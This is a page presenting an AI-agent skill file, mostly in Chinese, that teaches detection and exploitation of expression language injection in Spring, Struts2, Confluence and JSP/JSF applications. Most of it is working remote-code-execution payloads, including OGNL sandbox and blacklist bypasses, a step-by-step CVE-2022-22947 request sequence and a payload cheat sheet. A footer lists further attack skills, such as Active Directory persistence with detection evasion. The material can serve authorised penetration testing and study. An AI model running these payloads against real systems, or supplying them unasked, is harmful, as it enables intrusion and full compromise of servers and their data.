expression-language-injection

$npx mdskill add wgpsec/AboutSecurity/expression-language-injection

Detects and exploits expression language vulnerabilities in Java frameworks.

  • Identifies SpEL, OGNL, and Java EL injection points across Spring and Struts2 applications.
  • Differentiates engine types using syntax probes like ${7*7} and %{7*7}.
  • Executes remote code execution payloads targeting CVE-2022-22947 and S2-045.
  • Reports successful exploitation attempts with specific vulnerability identifiers.

SKILL.md

.github/skills/expression-language-injectionView on GitHub ↗
---
name: expression-language-injection
description: "表达式语言(EL)注入方法论。当目标使用 Spring(SpEL)、Struts2(OGNL)、Confluence(OGNL)、JSP/JSF(Java EL) 且存在用户可控的表达式求值时使用。覆盖多语法探测与区分(${7*7}/#{7*7}/%{7*7})、SpEL RCE(Runtime.exec/ProcessBuilder/反射绕沙箱)、Spring Cloud Gateway CVE-2022-22947、OGNL RCE(_memberAccess 操纵/OgnlUtil 黑名单清除)、Struts2 经典 CVE(S2-045/S2-046/S2-016/S2-057)、Confluence CVE-2021-26084、Java EL RCE。任何涉及 Spring/Struts2/Confluence/JSF 框架的表达式注入测试都应使用此 skill"
metadata:
  tags: "EL injection,SpEL,OGNL,Java EL,expression language,Spring,Struts2,Confluence,JSF,CVE-2022-22947,CVE-2021-26084,S2-045"
  category: "exploit"
---

# 表达式语言(EL)注入方法论


**关键区分**:SSTI 针对模板渲染引擎;EL 注入针对 Java 框架中嵌入的**表达式求值器**。

---

## 1. 检测 — 多语法探测

```text
${7*7}              → 49 = SpEL、OGNL 或 Java EL
#{7*7}              → 49 = SpEL(替代语法)或 JSF EL
%{7*7}              → 49 = OGNL(Struts2)
${T(java.lang.Math).random()}  → 随机浮点数 = SpEL 确认
%{#context}         → 对象 dump = OGNL 确认
```

### 区分引擎

| `${7*7}` 响应 | `%{7*7}` 响应 | 引擎 |
|---|---|---|
| 49 | 原样 `%{7*7}` | SpEL 或 Java EL |
| 原样 `${7*7}` | 49 | OGNL(Struts2) |
| 49 | 49 | 两者可能同时存在 |

---

## 2. SpEL(Spring Expression Language)

### 出现位置

- `@Value("${...}")` 注解
- Spring Security 表达式(`@PreAuthorize`)
- Spring Cloud Gateway 路由谓词和过滤器
- Thymeleaf `th:text="${...}"`(配合 `__${...}__` 预处理时)
- Spring Data `@Query` 中的 SpEL

### RCE — Runtime.exec

```java
${T(java.lang.Runtime).getRuntime().exec("id")}
```

### RCE — 带输出回显(Commons IO)

```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
```

### RCE — 带输出回显(Spring StreamUtils)

```java
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
```

### ProcessBuilder(Runtime 被阻止时)

```java
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
```

### Spring Cloud Gateway — CVE-2022-22947

通过 actuator 添加含 SpEL 过滤器的恶意路由:

```bash
# 步骤 1: 添加路由(SpEL 在 filter 中)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# 步骤 2: 刷新路由
POST /actuator/gateway/refresh

# 步骤 3: 触发路由
GET /hackpath
# 响应头 "Result" 包含命令输出

# 步骤 4: 清理
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
```

### SpEL 沙箱绕过

当使用 `SimpleEvaluationContext`(限制 `T()` 操作符)时:

```java
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
```

---

## 3. OGNL(Object-Graph Navigation Language)

### 出现位置

- Apache Struts2 — 主要 OGNL 消费者
- Confluence Server — 部分请求路径使用 OGNL
- 任何使用 `ognl.Ognl.getValue()`/`ognl.Ognl.setValue()` 的 Java 应用

### 基础 RCE

```
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
```

### Struts2 沙箱绕过 — _memberAccess 操纵

Struts2 通过 `SecurityMemberAccess` 限制 OGNL。经典绕过:

```
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

### OgnlUtil 黑名单清除

较新 Struts2 版本使用类/包黑名单,通过清除 `excludedClasses` 和 `excludedPackageNames` 绕过:

```
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
```

### Struts2 关键 CVE

| CVE | 向量 | Payload 位置 |
|---|---|---|
| S2-045(CVE-2017-5638) | Content-Type header | Content-Type 中 `%{...}` |
| S2-046(CVE-2017-5638) | Multipart filename | 上传文件名中 OGNL |
| S2-016(CVE-2013-2251) | `redirect:`/`redirectAction:` 前缀 | URL 参数 |
| S2-048(CVE-2017-9791) | Struts Showcase | ActionMessage 中 OGNL |
| S2-057(CVE-2018-11776) | Namespace OGNL | URL 路径 |

### Confluence OGNL — CVE-2021-26084

Confluence Server 通过 `queryString` 或 action 参数允许 OGNL 注入:

```bash
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL 解码: \u0027+{3*3}+\u0027
# 如果响应包含 9 → 确认存在 OGNL 注入
# 升级到 Runtime.exec 实现 RCE
```

---

## 4. Java EL(JSP / JSF)

### 出现位置

- JSP 页面:`${expression}` 和 `#{expression}`
- JSF(JavaServer Faces):值和方法绑定
- 自定义标签库

### RCE Payload

```java
// Java EL + Runtime:
${Runtime.getRuntime().exec("id")}

// 通过 pageContext(JSP):
${pageContext.request.getServletContext().getClassLoader()}

// 反射方式:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
```

---

## 5. 决策树

```
输入反射且 ${7*7} 返回 49?
├── Java 应用?
│   ├── Struts2?→ 尝试 %{...} OGNL payload
│   │   └── 检查 Content-Type 注入(S2-045)
│   ├── Spring?→ 尝试 T(java.lang.Runtime) SpEL
│   │   └── 检查 /actuator/gateway(Spring Cloud Gateway)
│   ├── Confluence?→ 尝试 OGNL via action 参数
│   └── JSP/JSF?→ 尝试 Java EL payload
│
├── 错误信息暴露框架?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── 被沙箱阻止?
    ├── OGNL: 清除 _memberAccess / excludedClasses
    ├── SpEL: 反射绕过 SimpleEvaluationContext
    └── 尝试替代执行方式(ProcessBuilder, ScriptEngine)
```

---

## 6. 速查

```text
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL + 沙箱绕过:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 探测:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh
```

## 深入参考

- EL/SpEL/OGNL RCE payload 与沙箱绕过 → [references/el-exploitation.md](references/el-exploitation.md)

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|